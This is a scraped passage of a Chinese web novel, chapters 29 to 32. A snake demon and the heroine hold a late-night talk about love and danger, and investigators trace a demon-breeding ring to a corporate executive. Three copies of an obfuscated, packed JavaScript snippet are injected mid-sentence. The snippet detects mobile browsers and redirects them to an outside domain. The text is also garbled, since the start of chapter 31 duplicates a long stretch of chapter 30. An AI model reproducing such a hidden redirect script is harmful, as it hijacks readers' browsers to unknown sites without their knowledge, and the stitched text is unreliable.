九素还没说话,金万里先不满地发了声:“说什么呢?要不是因为担心这个,这事能拖到今天吗?小爷带了保护设备!” 他“咣”的一声把带来的一包东西顿在桌上,拽开拉链,五花八门的各色设备露出来。舒情一眼扫过去,基本都认识,唯独其中一个具体而微的VR眼镜,看上去陌生。 虽然不认识,但她也知道这就是金万里所说的“保护设备”,看着他把这个小小的眼镜给念念戴上了,手痒,掏出手机来拍了两张。 “定做的。”金万里炫耀说,“发现有那个反击阵法的时候就开始做了,技术部通宵加班加点,做了三天呢!” 舒情:“……” 并不想夸他,社畜只会和社畜感同身受。 九素开始动手结阵。 他设阵的时候看上去漫不经心,然而举手投足都若合符节,有种与天地同呼吸的韵律。其他人不懂行,纯粹是觉得挺好看;舒桐医术精湛,倒是隐约有点感觉。 小镜子里映出画面的时候,两位老人家都相当吃惊;然而眼看着这画面被波动的噪点遮挡,怎么都看不清楚的时候,二老的表情就难免疑惑起来了。 “上次也是这样的,”舒情解释说,“因为对面有防备嘛,要突破他们防御的术法,需要一点时间。” 舒桐颇为糟心地看了女儿一眼,觉得她这一口一个“妖怪”“术法”是越说越顺溜。 九素抿抿唇,神色有些凝重。他稍微又做了些调整,一瞬间,镜中画面的震荡越来越大,竟然形成漩涡激流,仿佛风暴与巨浪在厮杀,看一眼,几乎连心神都要被吸进去。 两边人马在一方小镜子里惊心动魄地斗法,画面剧烈搅动,甚至将镜面都冲撞出了细微的裂痕。半分钟后,九素忽然伸掌,遮住了念念的眼睛。 舒情定睛一看,发现那VR眼镜从中间裂开了一条缝,只一秒,高科技眼镜彻底碎开,嘁哩喀喳地变成了满桌子的碎片。 ……看来这通宵加班赶出来的东西,质量是真不行。 有那么半分钟,房间里一片寂静,大家都沉默地盯着桌子上的碎片,不说话。 还是舒桐问,“这又是……” 舒情也不太懂,试着猜测,“是对方加强了防备?” 九素“嗯”了声,仍然微微地抿着唇,脸色不太好看——其实这种远程斗法,顶多就是个试探性质的交锋,而念念等于上个月还是个残废,没窥探到,何其正常。 要是放在平时,也不会怎么样。只是这次,毕竟是当着舒情父母的面…… 他心里有点别扭。 29. 夜探 好在两位老人家显然更关心“如何获取真相”,赵与清皱起眉:“那就是说,靠术法不成?这种事,报警有用吗?” “有用啊,我就是警。”金万里说,“这跟我哥的术法没关系,这小猴崽子还太小了,更重要的是设备质量不行。”他恼怒,“回去就投诉技术部!” ……可见社畜不仅得加班,还得背锅。 “那怎么办?”戚昀问,“换更好的设备,你们超管局找个能量等级比念念强一些的成年妖怪,咱们再来一次?” 金万里否决说:“不行。你家念念来历很特殊,超管局里的妖怪要‘窥探’还行,‘窥往’就不行了。现在关键是之前发生了什么,而不是‘正在’发生什么,没人能替它。” 戚昀与有荣焉地挺了挺胸,然而又发愁:“那怎么办?这又不是真的卡牌游戏,氪十单就能拉到满级,那念念就是只有这么大点,不可能立刻长大啊。” “那还能怎么办,走人类流程呗。”金万里站起来,大踏步走出门,“我现在就传唤余明!” 作为超管局的特勤部长,金万里办事相当雷厉风行。这天中午刚过,涂楠就贼兮兮地来戳舒情,说几个警察大中午的登了门,把余明带走了;下午,前同事群里纷纷有人艾特舒情,打听了一下午八卦,摸鱼摸得十分快乐。 到了晚上,金万里就带着询问视频回来了,打开酒店里的液晶电视,投屏给大家一起看。 隔了这一个多月,舒情再看见余明这张脸,恍然觉得之前每天赶早赶晚上班、坐工位、肝绩效,疲惫而平常的日子,都如同隔世了。 她知道自己是个记仇的人,本来以为会憎恶此人很久很久。然而才一个多月,她有了新的生活,而且往神秘的圈子里越走越深,再看见他,心里竟然波澜不惊。 她就是恰好摊上了一个不怎么样的同事而已。 “我……我知道这个事,”屏幕上的中年男人哆嗦着,和平日里挺胸凸肚的“精英”形象判若两人,“但这和我没关系啊……有个人自称是副总的助理,来找我要她的档案,我这才去调。就算泄露了,也不是我泄露的……” 审讯者的声音冷冷地传出来,“自称是副总的助理,你确认过吗?” “我……”余明哆嗦得更厉害了,“没、没有。但他说得很自然!看着也不像骗子……” 金万里暂停了画面,补充说:“已经查过了,确实是辉耀集团副总的助理。不过嘛……他不只是个助理。” 舒情秒懂,“有兼职?” 金万里对她仍然没有好脸色,故意哼哼了两声,被九素扫了一眼,才老实地承认:“对。调了这人名下的账务流水,还有个皮包公司不定时打钱,更详细的还在查,不确定。” 短短一下午,能查到这么多事情已经极其有效率了,舒情对此没有异议。 金万里倍速播放,后面没什么重点,就是审讯者反复询问细节,以及超管局通过术法判断真伪之类的流程。 舒情一直盯着屏幕看。一直播放到最后,审讯者开始进行诸如“提起警惕心”、“给了你权限就得负责,难道要的是你自己的信息,你也是二话不说就给了吗”等等。她收回视线,朝金万里摇摇头——以她对余明的了解,没有看出哪里不对。 看来这事就是这样了。 金万里关掉电视,和护卫他们的那两只妖怪又交代了几句,就回了超管局。舒桐和赵与清夫妻舟车劳顿,想早点休息;舒情和戚昀早早起来收拾东西,搬来酒店,现在也是哈欠连天。 大家各自回到自己的房间去睡觉,戚昀一共订了七个离得很近的房间,谁和谁都不用挤。 舒情在行军床上凑合了好几天,现在终于有了一张柔软的大床,忍不住打了几个滚,舒服地开始享受睡眠。 过了半小时,她房间的窗户忽然开了一条小小的缝,指头粗细的小白蛇顶开窗,探进了头。 现在是深夜十点半。九素想,再过半小时,就是子夜之交,是一天之中阴气最盛的时候。 今夜虽然不是月圆之夜,但也快到满月了……好吧,至少已经是上弦月。妖怪的力量仍在变强,同样,诅咒的力量也不会弱。 她一个人住,太危险了。他就只是为了来保证她的安全,毕竟从前的夜晚,他都是和她共处一室的。 九素就这么给自己扯了一个光明正大的理由,他悄无声息地循着窗户钻进来,游到地面上。想了想,怕惊动隔壁舒情的父母,没有化人,就以蛇身攀上舒情的床,无声地靠近了她。 舒情已经睡着了。 好不容易回到了舒适的睡眠环境里,她的睡相就……有些自由奔放,整个人躺出了一副“马踏飞燕”的架势,一条腿压着被子,一只手横在枕头上。半张脸埋在枕头里,嘴唇被枕头压得稍稍张开了一线;半张脸呈现在月色之下,被镀上了一层淡淡的柔光。 小白蛇蜷在一边,安静地注视着她。 过了一会儿,确认她睡着了,他才小心地游过去。他不敢往被子底下钻,就靠近了她的手,还想和从前一样,将自己缠在她的五指上。 之前的许多个夜晚,他都这样在她掌心里入睡,她手心的温度,叫冷血动物格外地眷恋。等到天将亮的时候,他再悄悄地游走,回到他本来的位置去。 其实他很想,再好好地抱抱她……自从昨天她崩溃哭泣,他抱了抱她以后,某些积压已久的情绪就仿佛决堤的洪水,肆意横流,再不能归入规划好的河道。 已经失控过的欲望,想再重新约束好,那真的太难了,就算是圣贤都未必做得到,何况他是个和野兽差不多的妖物。 可谁让他没得选呢。 九素吐吐信子,近乎虔诚地吻了吻她的手指。然后他寻求安慰似的缠上去,挨着她温暖的指节,想借着她的体温,勉强填补一下心底的空荡。 谁知就在这个时候,舒情五指忽然收拢,牢牢地抓住了他。 九素惊愕地抬起头,对上了一双笑意盈盈的眼睛。 “叫你深更半夜偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146162|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷爬上我的床。”舒情捏捏小蛇的脑袋,用气声笑,“哼哼,这回看你还逃不逃得出我的手掌心?” 小蛇妖下意识地往外挣,但她抓得紧,一时之间还真没能脱身。 “不要负隅顽抗啦。”舒情一翻身坐起来,将他抓到面前,得意地笑了,“叫破喉咙也不会有人来救你的……哦,何况你现在是蛇,你还不会叫。” 九素瞪她,用力一挣,差点真的从她手里窜出去,舒情双手齐上,才又重新抓住。 “别动。”她威胁道,“真的弄出动静来,小心我妈进来抓你现行。” 这个威胁有效,九素真的不折腾了,老老实实地垂下了尾巴,脑袋轻轻顶了顶她,示意放他下来,用蛇身不好交流。 舒情岂能这么听话,把他盘在手上又玩了一会儿,直到九素龇牙威胁要咬她,才松手。 小蛇狠狠地瞪了她一眼,纯白的雾气涌出,他在雾气中化作了人身,脸上还带着没掩饰好的薄红。 舒情也局促起来。 她大半夜的不睡觉,在这儿等着抓九素的蛇尾巴,其实纯属一时兴起,想压他一头——这不是她平时睡觉的时间,生物钟不允许她睡着,正在闭目酝酿睡意,窗户忽然轻微地响了一声,吓了她一跳。 独居的女孩子对这动静异常敏感,她心率瞬间飙到一百六,甚至没敢睁眼,眼皮悄悄地掀开一线,全神戒备,结果看见小白蛇偷偷摸摸地从窗户钻进来。 “……” 新仇旧恨一起涌上心头,她才决定吓唬他一下。 然而到了现在,她亲眼看着小红变成九素的样子,才意识到今晚的不妥——人形的九素一开始是作为一个陌生人出现的,她理智上虽然知道九素就是小红,感情上却还没有将他们当做一体看待。 直到这一刻,她才真正清楚地意识到,九素不是她的宠物蛇。 他是一个和自己之间有一些幽微暧昧的男人,她和他之间要保持正常年轻男女的距离,而不是主人和宠物的距离了。 舒情感到很尴尬,抓起床头的衣服胡乱一披,瞪他:“你跑过来干什么,想偷偷占我便宜?” 九素无言以对。“为了保护她免遭诅咒”这个理由,拿来骗骗自己也就算了,用于在她面前给自己辩白,未免违心,他说不出口。 “你……”舒情抓抓头,猜测着问,“不适应一个人住酒店?” 这个理由其实也说得过去,他毕竟是个没有完全习惯现代生活的妖怪。要是就着这个台阶下来的话,也能心照不宣地糊弄过去,但九素仍然抿着唇,没有回答。 “也不是?”舒情更困惑了,她打了个哈欠,不满地盯着九素,“那你到底来找我干嘛,总不至于就是为了在我手上睡一觉?” 这一次九素终于有了反应,他没有看她,眼睫垂落望着地板,轻轻地“嗯”了一声。 舒情:“……” “你是不是有什么毛病,”她简直被他气乐了,“你哪怕真是来找我共度良夜的也行啊!” 30. 谈判 虽说九素一向就知道舒情这满嘴跑火车的习惯,也知道当代的妹子们是何等的开放且彪悍,然而还是被这句话镇住了,狠狠地瞪了她一眼,红着耳朵说她:“口无遮拦。” “都跟你似的遮遮掩掩才好呗?”舒情翻白眼,“你到底有没有正事要说,没有就回屋睡觉。” 九素垂下眼睛,没有说话。 舒情无奈了,捞过手机看了一眼自己的待办事项——那个卖多功能锅的广告方案,她今天下午已经做完了;明天要更新的新视频也准备好了,到点就能发,明天没有什么重要且紧急的安排。 所以今天晚上她倒也不介意跟蛇耗一耗,遂转身面向着他,十分有耐心地等着他开口。 好在九素到底没有让她等太久,他轻轻地说:“我改主意了。” 舒情:“?” 这话说得,前不着村后不着店的。 九素接着又问:“你可以答应我一件事吗?” 舒情谨慎地说:“先说是什么事。” “不要喜欢我。”他近乎祈求地说,“永远把我当成是你的朋友……或者你的宠物也好,总之不要喜欢我。我不会再给你找什么别的小妖怪养,我会留在你身边……就算这次的事情过去,我也不会离开你,好吗?” “……” 舒情默了一会儿,然后笑了起来,“你希望我答应吗?” 这一句话像一把锐而薄的尖刀,毫无技巧地迎面捅过来。本来应该可以抵挡一下的,可刀锋太过锐利,就这么正面粉碎了所有的防备,一刀刺穿了他脆弱的心底,他全身都不由自主地颤栗起来。 你希望我答应吗? 九素弯起唇角,想像从前一样,微笑着问一句“不希望我何必要提呢”,就这样敷衍过去。可是话到了嘴边,几次开口,终于说不出来,于是就像一块巨石似的,循着喉咙砸回心口,再一次冲开了旧伤疤。 前世身不由己,今生心不由己,谁会真的想永远都只唱独角戏呢? 舒情觑着他神色变化,职场上几年都没能叫她学会察言观色,这会儿竟忽然开了窍,敏锐地意识到这差不多快要“破防”了,现在该是她抓紧机会输出的时候。 她就来了一招“以退为进”:“要我答应当然也可以,不过我也有个附加条件。” 九素抬头看看她。他仍然面无表情,这就是他藏匿自己心绪的最后一道防线。 “你知道的。”舒情毫无避忌地抚摸了一下他的脸——这没什么,她想,反正深更半夜的不开灯,她也看不见九素惊颤的瞳孔,再说了,既然他自己都说了可以拿他当个宠物,那摸一把怎么了,她从前天天摸小红。 她若无其事地继续说,“我,当代社会五讲四美好青年,具有优秀的文明礼貌与道德修养。你这个要求吧,不就等于要求我当个渣女吗?太过于挑战我的道德下限了。” 九素苦涩地笑了一声。 舒情和他谈判:“两件事,二选一。要么,你给我一个能说服我的理由;要么,我们约定一个期限,嗯……”想了想,谨慎地说,“就三个月吧。三个月以后,我们再来重新讨论这个问题,毕竟人的想法都会变的,是吧?” 职场管理学教导她:收集到足够的信息之后,作出判断,得出结论,这叫决策。 在还没有足够多的信息时,就贸然下了定论……这叫撞大运。 舒情认为自己现在手里的有效信息非常稀少,无论从理智还是感情上都没法决断——论理智,她连九素提这个条件的动机都不明白,答应与否有什么后果也不知道,当然不能决定。 再论到感情,她自认为是可以放下这段暧昧不清的关系,但那是以必然会失去九素为前提的,如果能不失去他,那到底该怎样定义他们的关系,她心里还没有盘清楚。 这要是寻常浮皮潦草的“答应”,“明儿请你吃饭”和“下次一定”那种现代人心照不宣的应承,也就算了。但舒情有种动物般敏锐的直觉,她今天但凡说出一声“好”,九素就会拿着这一个字当金科玉律,从今以后几十年,再不越雷池一步。 还是留几个月做缓冲吧,她想。 他们两个都该好好想清楚,再来继续今天的谈话。 “……我是个妖物,”片刻后,九素自嘲地笑了笑,“你也看到了,你们对我这样的妖物是怎样百般防备。” 舒情一愣。他这是选了“给一个能说服我的理由”? 她还以为他就不打算说了呢。 行吧,虽然和预想的不一样,但她也洗耳恭听。 她试探着接茬说:“因为你们杀伤力比较大?” “不止,”九素平淡地说,他谈起过去来言简意赅,沉积的血色被他说来竟轻描淡写,“妖与人大小争端不断,甚至有过几次战争,那时人族谈妖色变,妖族也视人为寇仇……后来天下大乱,各国互相征伐,两族才不得不握手言和,共抗强敌。后来战事结束,旧日恩怨消弭,终于逐渐磨合出了今日的关系。” 舒情第一次听到人类和妖怪们的历史恩怨,虽然也很乐意听一听,但又诡异地觉得中夜月明,青年男女同床对坐,居然在讲历史,也挺一言难尽。 “‘兄弟阋于墙,外御其侮’。”九素朝她笑了笑,淡声说,“如今也过去了快一百年,没有外侮了,当然就要轮到兄弟阋墙,何况人族与妖族,本也谈不上什么手足兄弟。” 舒情被他平静的语气说得,浑身都起了一层鸡皮疙瘩,抱着胳膊干巴巴地说,“不至于吧……” 最后一个尾音被她自己吞了下去——怎么不至于,看念念就知道了,有的人把妖怪当成爱宠,有的人可是当成“奇货可居”的。 光影相伴,有需求就有市场。就那“今朝工作室”以及背后的人对付她的手段来看,妖怪们在那些人手里,不知道过的是什么日子,反正恐怕和她们这边的岁月静好不是一个画风。 她就换了个问法:“以后会乱起来吗?” “也许会。”九素安慰她说,“但世上终究是你这样的人更多。纵然有那一天,也不至于闹到两族大战的地步……只是我未必能独善其身。” 舒情终于完全明白了他在说什么,她抓住了他的手腕,他的体温隔着衣袖都能摸出来比寻常人低一些,腕骨分明有力,虽然能被她完全握在掌中,却并不显得脆弱易折。 “你是说,”她咬牙问,“你怕你有一天会被卷进去,万一你没了,反正我只把你当个宠物,到时候就像丢了个小猫小狗,就算伤心难过,也就难过那一阵子,撂爪忘了,还能再养个新的,你是那个意思吗?” 九素无声地凝望着她——显然,他就是这个意思。 那晶莹的月光照在他身上,银发溶溶,面孔白得近乎透明,如果不是一只手还被她抓着,他几乎就像是要融进这一片月光里。 “那你待在我身边干什么?”她继续问,“哦,因为我有个‘金手指’,我能帮妖怪恢复力量,你觉得瞒不住了。你觉得不光你不能独善其身,搞不好我也要卷进去,你必须得待在我身边,才能保证我的安全,是吧?” 九素轻轻笑了笑,默认了。 “你跟我这儿演西游记呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170214|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”舒情一把甩开他的手,气得瞪眼,“你还给我分配个唐三藏的剧本,我同意了吗我?你给我多少出场费啊?” 她是真有点上火,这一嗓子就没压住声音,赶紧捂住嘴。正好九素也伸手过来,试图手动给她调低音量,两个人的手就交叠起来,她的嘴唇贴着他的指腹,手掌也正好抓住了他的指节。 两人的目光在空中猝然撞上,九素匆忙缩手,感觉手指简直烧着了,深深后悔自己手快。 火中取栗,也就是这样了吧。 果然对面的门“啪嗒”一声响,继而脚步声靠近。舒情飞速卧倒,九素化回蛇身,匆忙想找个角落躲藏,被舒情一把抓住塞进被子。 他们俩刚连滚带爬地收拾完犯罪现场,门就开了,舒桐探了半个身子进来,压低声音问:“小情?” “啊,妈。”舒情做出一副刚睡醒状,“怎么了?” “刚才听着你房间里有声音。你没事儿吧?” “没事呀。”舒情刚才仓促掩饰,现在终于想起尴尬了,悄没声地把手上的蛇往窗户的方向推,努力维持着一无所知的茫然口吻,“可能是隔壁?” 九素在她的掩护下,从被子底探出一个头,仗着自己蛇身的颜色在白色的床铺上不太起眼,准备贴着边开溜。 “我还是不放心。”舒桐一边说着,往床边走来,“今晚我还是过来和你一起睡吧,你说的那诅咒什么……神不知鬼不觉的,你一个人住,万一有点什么,那怎么办呢?” 戚昀定的是个大床房,舒情只睡了靠门的半张床,靠窗户那半边还空着,再睡一个人倒是没有问题,但问题是……这是九素预计的逃跑路线。 舒情在心里惨叫一声:别啊! 九素这会儿终于彻底顾不得避嫌了——总比被舒桐当场抓住强——他哧溜钻回了被子底下,从她肚子上游到另一边,藏在她腰侧,警惕地听着外面的动静。 舒情欲哭无泪,腰上还残留着小蛇腹鳞摩擦过的怪异感,万万没想到,自己有一天居然成了捉迷藏的游戏场地。 “不用……妈……完全不用……”她挣扎着说,“我还戴着护身符呢,不会有事的……” 舒桐已经掀开了另一边的被子,小蛇情急之下,居然窜进了舒情睡衣的袖子里,将自己蜷成了一小团。 舒情:“……” 小蛇的呼吸扑打在她腋下,有点痒。 这么贴着,她几乎能感觉到他剧烈的心跳。 “这浓浓的偷感是怎么回事,”她匪夷所思地想,“我们俩不是在月下对谈战争与和平吗?” “那怎么能不用呢。”舒桐说着已经躺下了,她疲惫地叹口气,“我想来想去,总不能放心,你就当让妈妈安心一点吧。” 好,不管她怎么说吧,这被子总算是盖上了。 舒情大松一口气,嘴里答应着,翻身蹭到舒桐旁边,以掩护九素悄悄溜走的动静,撒娇说:“一起睡就一起睡,但我早晨可起不来,别叫我去吃早饭……” 她一边唧唧哝哝地吸引舒桐的注意力,一边快速地扫了一眼——一条雪白的小尾巴在衣柜门边一闪而没,看来九素是打算在衣柜里先躲一躲,再找机会溜走了。 行吧,反正他那么小一条蛇,等她俩都睡着了,他总能找机会走掉。 舒情放心地不管他了,闭眼挨着妈妈继续酝酿睡意,顺便竖着耳朵,等着听门或者窗户什么时候再发出一声轻微的动静。然而一直到她成功把自己酝酿睡着了,也没听见声音,倒是舒桐偶尔发出一两声含混的鼾声,像摇篮曲,叫她睡得很安宁。 31. 借口 九素这会儿终于彻底顾不得避嫌了——总比被舒桐当场抓住强——他默默缩回了被子底下,从她肚子上游到另一边,藏在她腰侧,警惕地听着外面的动静。 舒情欲哭无泪,腰上还残留着小蛇腹鳞摩擦过的怪异感,万万没想到,自己有一天居然成了捉迷藏的游戏场地。 “不用……妈……完全不用……”她挣扎着说,“我还戴着护身符呢,不会有事的……” 舒桐已经掀开了另一边的被子,小蛇情急之下,居然窜进了舒情睡衣的袖子里,将自己蜷成了一小团。 舒情:“……” 小蛇的呼吸扑打在她腋下,有点痒。 这么贴着,她几乎能感觉到他剧烈的心跳。 “这浓浓的偷感是怎么回事,”她匪夷所思地想,“我们俩不是在月下对谈战争与和平吗?” “那怎么能不用呢。”舒桐说着已经躺下了,她疲惫地叹口气,“我想来想去,总不能放心,你就当让妈妈安心一点吧……” 舒情用眼角余光瞄着她的动作,悄没声地松了口气。不管她怎么说吧,这被子总算是盖上了。 事已至此,她嘴里就答应着,翻身蹭到舒桐旁边,以掩护九素悄悄溜走的动静。她撒娇似的嘀嘀咕咕:“那我明早要睡懒觉,你可别叫我。” “还是得起来吃早饭,”舒桐的注意力自然而然被她吸引了,“不吃早饭对你代谢不好。我看了看,这个酒店早上是提供早饭的,你八点之前起来就行了……” 舒情随口嗯嗯啊啊,眼睛快速地朝另一侧扫了一眼。一条雪白的小尾巴在衣柜门边一闪而没,看来九素是打算在衣柜里先躲一躲,等她们睡着,再找机会脱身了。 行吧。 舒情放心地闭眼,睡觉,并暗戳戳地感谢了一把她伟大的母亲——今晚这对话要是不打断,她其实也真的不知道该如何收场,九素要是不要到一个“好”或者“不行”,他肯定是不会善罢甘休的。 这种送命题恕她不能对答如流,得再仔细地考虑一下。 舒情带着这一脑门子官司睡着了,好在可能是爸妈都在身边的缘故,她睡得还算踏实,第二天早上,没怎么闹着要赖床。但也没去吃什么酒店提供的早饭,因为九素一大早就跑回对面影楼的厨房里,动手料理了一群人的早点。 两位老人家从来没和妖怪打过交道,也是没想到蛇妖还有做饭的功能,盯着一桌子色香味俱全的餐点沉默了,心说:不会是幻术变的什么鸟蛋、老鼠吧? 连戚昀也是第一次见识到九素这个技能,目瞪口呆了一会儿。只有舒情习以为常,坐下来往嘴里塞了半个小笼包,还含混不清地自动担负起了推销的任务:“好吃!妈,爸,你们都尝尝啊。他做的东西很好吃的。” 九素朝两位老人家露出一个笑容,礼貌乖巧,而且美貌。 舒桐和赵与清对视一眼,心情和表情都显得颇为复杂。舒情看在眼里,偷偷摸摸地一乐——别的不说,起码她爸妈对于女婿的标准显然被拉高了不少。 应该不至于给她张罗什么“高薪”“稳定”的相亲对象了吧? 九素趁着大家都在埋头吃饭,给舒情递过来一个眼神:昨天晚上说的事,你考虑得怎么样了? 舒情低头吸面,用汤碗挡住了自己的脸:我看不见,我听不懂。 九素无奈极了。 大家各怀心思地吃完了一顿早饭,舒情看了看手机,金万里那边还没消息,九素也没收到信。她就和爸妈聊了会天,然后打开笔记本电脑,继续弄她的短视频。 那卖多功能锅的商家给她回了反馈,对她的点子没什么意见,但要求格外凸显“家庭聚餐”的作用,舒情就动手开始改第二版。 九素和她分了同一张桌子,舒情提心吊胆,怕他再来追问“你想好了没有”。 不过他什么也没说,她在这边弄视频,他就在对面做替换的护身之物。 他那个纸桃花是每天都得替换的,为了以防万一,影楼里每个人都有一个——当然其他人的就只有一张随手叠起来的红色纸符,让他们揣在口袋里,只有舒情的,是一朵精致的纸桃花,每天给她别在领口上。 现在舒桐和赵与清也来了,他们也需要保护,九素给他们分别叠成了松果和纸鹤,特意凑了个吉利的意头。 舒情不经意间一抬头,被他手上的动作吸引了,盯着看了一会儿,突发奇想:“你说,咱们做点这种护身符制作的教学视频,怎么样?” 九素噙着一丝笑,看她一眼。 “不好,”舒情自己否决了,“这东西不能瞎教,谁一不小心弄出了差错,要出大乱子。不过这件事过去,我们就打算官宣工作室的事,而且我粉丝也马上要破六位数了,正好可以搞个抽奖回馈活动。” 她低头涂了几笔,又托着腮帮子问:“有没有可能,拿发财的羽毛做点类似幸运符之类的?挡灾什么的当礼物不太好,有诅咒人家遇上事的嫌疑……但转运就好多了,现在我们都相信这个。” “可以啊。”九素手里在叠纸鹤的头,闻声抬头一笑,“你打算用什么换?” 舒情被他问的简直一愣,“换?” “不然呢,你想我做白工吗?”九素似笑非笑,“你捡到了我,我为你和你的家人朋友做点事,理所应当。但你的粉丝和我有什么关系,我要以什么身份给你做这个,朋友、妖宠,还是合作?” “……” 好吧,就知道他不会这么轻易地放过这个话题。 逃避没有用,继续深思熟虑,也不过是和自己的一线私念争斗罢了。 舒情放下压感笔,正视着九素,说:“我内心其实挺想答应的。但想来想去,我还是觉得不行。” 九素脸上没有表情,漠然地看着她,唇角的笑容退潮似的消失了,他变回了刚认识不久时冷漠疏远的样子。 “我这个人……好吧,我确实是个感情用事的人。”舒情坦白地说,“我任性、放肆、自己的感受大于一切。我就是那种工作干得不爽就会裸辞跑路、甚至‘整顿职场’的人,千金难买我高兴,谁让我难受了,我就一定要让他加倍难受回去。” 九素模糊地笑了一声,好像是赞赏,又好像有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199321|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点难过。 “所以像我这么一个人,你真不用担心我万一哪天男朋友不在了什么的,我会怎么样。”舒情继续说,“我的家人、我的朋友、合作伙伴、看我视频的观众、我的事业……这些对我都很重要。” “像我们这样的现代人,恋爱什么的,就是个调味品,什么‘生死相许’‘生者可以死’那都不存在的。遇上一个彼此喜欢的人……”她改口,“妖怪也行,一起生活一段时间,就挺好的。缘来则聚,缘尽则散,这才是正常情况,哪有那么多要死要活的?” “你是想说,答应与不答应,没有什么分别……”九素问,“那么为什么不?” “因为我们虽然可以不要爱情,但不能不要良心。”舒情理直气壮地回答说,“这种不平等条约,我如果答应了,良心上实在过意不去。”顿了顿,又补充,“何况我也做不到啊。” 九素垂下眼睛,手里的纸鹤已经被他揉得皱皱巴巴的,他神魂不属地把它丢到一边,捡起一张新的纸。笔尖空悬,不能落笔,一滴朱砂滴落,又报废了一张。 “要不,你也再好好想想?”舒情趁着他发呆的工夫,提议说,“反正这就是我的态度,要么你不要强求,咱俩顺其自然;要么,你就当昨天晚上什么都没说过。” 九素没有回答,他放下笔,目光沉默地落在符纸上,但仔细看去,眼神其实没有焦点。 她说得好听。什么家人、朋友、事业…… 一千七百年前的霞山君,难道就不是知交遍天下,名望满仙都,她难道就没有什么朋友手足、事业理想? 可结果呢,到底还是舍下了所有,来到了他死去的荒岛上,选择了和他同死啊。 倘若他留下来,她又不肯和他划清界限。那他拿什么去保证这一世舒情就可以平安到老,再不会和前世一样惨烈收场呢? 他就这么发了好一会儿呆,没有主意,还是舒情提醒他:“哎,你的手机。” 九素这才反应过来,接通了电话——对面是金万里,自从舒情给九素弄好了手机和卡之后,他有事就第一个找九素,飞快地抛弃了正经报过警的当事人舒情,要不是看在此人办事还算靠谱的份上,舒情必要给他一个大大的差评。 九素打开免提,金万里的声音混合着嘈杂的背景音,从话筒里传出来: “你们还在那个酒店呢吗?我们发现了,这事没那么简单,七拐八拐,好像还牵扯到之前报过来的几个没下文的案子……电话里说不清楚,总之这事有点复杂,不光是一个工作室和一个商家,我现在过去找你们!” 他这一通话是吼出来的,因为警笛声和喇叭声响成一片,仿佛身在事故现场。金万里好似正在飞快地远离这个事故现场,一番话“突突”完,就挂了电话,杂音从强到弱,再戛然而止。 九素神色微动。 这时候隔壁的几个人也听见了动静,纷纷聚集到了舒情的房间,七嘴八舌地问:“怎么了?” “我也没弄明白,等会儿让金部长来说吧……”舒情不经意地往楼下瞥了一眼,摊摊手,“哦,他已经到了。” 32. 夏夜与河冰 金万里的原身是一只金色羽毛的游隼——超管局是这么登记的,他自己坚定地认为自己是一只金雕——总之作为世上最快的飞禽之一,他赶路的速度惊人,别人打电话都是提前一两个小时预约,他这通电话,能当门铃使。 舒情把他请进来,他估计是渴了,“吨吨”喝了一瓶水,这才一抹嘴,开始卖关子:“你猜那个工作室和那商家,背后的控股人是谁?” 舒情嘴角一抽,九素似笑非笑,送了他一个死亡凝视。 金万里的气焰顿时矮了,老老实实地交代道:“好吧,就是你以前那个辉耀集团老总的妹夫。” 舒情第一反应先问:“哪个妹夫?” 老总不管有多少个亲戚,在舒情这样的底层牛马社交圈里都没有传播力。但老总只有一个妹妹,同时却有四五个年轻的“妹夫”,这八卦就很有传播力了。 就舒情所知,不少妹子们都摩拳擦掌,以老总的妹妹为奋斗目标——有钱有权有美色,属于全世界人们的共同理想,不因性别而有所区分。 “当然是那个正牌的妹夫了。”金万里调查的时候,当然也没有漏掉相关的八卦,对此倒是没有什么特殊的感想,“你们人族不都相信契约、合同什么的吗?这想也知道是交给有契约绑定的人啊,这可是要命的事。” 辉耀集团是H市颇有影响力的一个企业,主打互联网相关,以做社交平台起家,踩上了十几年前的风口,一路又发展了直播、游戏等业务。过了几年,又合并了一家电商公司,合并的过程堪称浪漫,正是老总妹妹和这位“正牌妹夫”的商业联姻。 现在提起辉耀集团,已经可以被尊称一声“大厂”了。 作为大厂,辉耀集团对外的名誉还不错。掌舵人陈明辉对外是个精英企业家形象,勇于承担社会责任,慈善公益都没少做。 这种大集团养几个镇宅的妖怪也算常事,坏就坏在他们头脑过于灵活、过于具有开创精神,居然开发出了新的流水线——繁育妖怪幼崽,品相一般的就卖给如戚昀这样的冤大头们,好看的就拿去做直播工作室,有特殊能力的,用处就更多了,对付竞争对手,只是其中微不足道的一条。 这可真是把道德和法律集体践踏在脚下了。 “按照‘现代’的法律,”九素虚心请教,“应当如何?” 